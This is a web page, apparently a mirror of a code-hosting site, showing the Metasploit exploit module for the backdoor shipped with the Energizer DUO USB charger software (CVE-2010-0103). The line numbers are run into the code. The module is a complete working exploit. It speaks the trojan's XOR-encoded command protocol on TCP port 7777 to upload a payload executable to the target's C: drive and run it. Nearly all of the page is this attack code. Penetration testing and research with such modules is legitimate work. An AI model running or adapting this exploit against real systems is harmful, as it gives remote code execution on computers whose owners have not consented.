Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/backdoor/energizer_duo_payload.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::EXE1011def initialize(info = {})12super(update_info(info,13'Name' => 'Energizer DUO USB Battery Charger Arucer.dll Trojan Code Execution',14'Description' => %q{15This module will execute an arbitrary payload against16any system infected with the Arugizer trojan horse. This17backdoor was shipped with the software package accompanying18the Energizer DUO USB battery charger.19},20'Author' => [ 'hdm' ],21'License' => MSF_LICENSE,22'References' =>23[24['CVE', '2010-0103'],25['OSVDB', '62782'],26['US-CERT-VU', '154421']27],28'Platform' => 'win',29'Targets' =>30[31[ 'Automatic', { } ],32],33'DefaultTarget' => 0,34'DisclosureDate' => '2010-03-05'35))363738register_options(39[40Opt::RPORT(7777),41])42end4344def trojan_encode(str)45str.unpack("C*").map{|c| c ^ 0xE5}.pack("C*")46end4748def trojan_command(cmd)49cid = ""5051case cmd52when :exec53cid = "{8AF1C164-EBD6-4b2b-BC1F-64674E98A710}"54when :dir55cid = "{0174D2FC-7CB6-4a22-87C7-7BB72A32F19F}"56when :write57cid = "{98D958FC-D0A2-4f1c-B841-232AB357E7C8}"58when :read59cid = "{F6C43E1A-1551-4000-A483-C361969AEC41}"60when :nop61cid = "{783EACBF-EF8B-498e-A059-F0B5BD12641E}"62when :find63cid = "{EA7A2EB7-1E49-4d5f-B4D8-D6645B7440E3}"64when :yes65cid = "{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}"66when :runonce67cid = "{384EBE2C-F9EA-4f6b-94EF-C9D2DA58FD13}"68when :delete69cid = "{4F4F0D88-E715-4b1f-B311-61E530C2C8FC}"70end7172trojan_encode(73[cid.length + 1].pack("V") + cid + "\x00"74)75end7677def exploit7879nam = "C:\\" + Rex::Text.rand_text_alphanumeric(12) + ".exe" + "\x00"80exe = generate_payload_exe + "\x00"818283print_status("Trying to upload #{nam}...")84connect8586# Write file request87sock.put(trojan_command(:write))88sock.put(trojan_encode([nam.length].pack("V")))89sock.put(trojan_encode(nam))90sock.put(trojan_encode([exe.length].pack("V")))91sock.put(trojan_encode(exe))9293# Required to prevent the server from spinning a loop94sock.put(trojan_command(:nop))9596disconnect9798#99# Execute the payload100#101102print_status("Trying to execute #{nam}...")103104connect105106# Execute file request107sock.put(trojan_command(:exec))108sock.put(trojan_encode([nam.length].pack("V")))109sock.put(trojan_encode(nam))110111# Required to prevent the server from spinning a loop112sock.put(trojan_command(:nop))113114disconnect115end116end117118119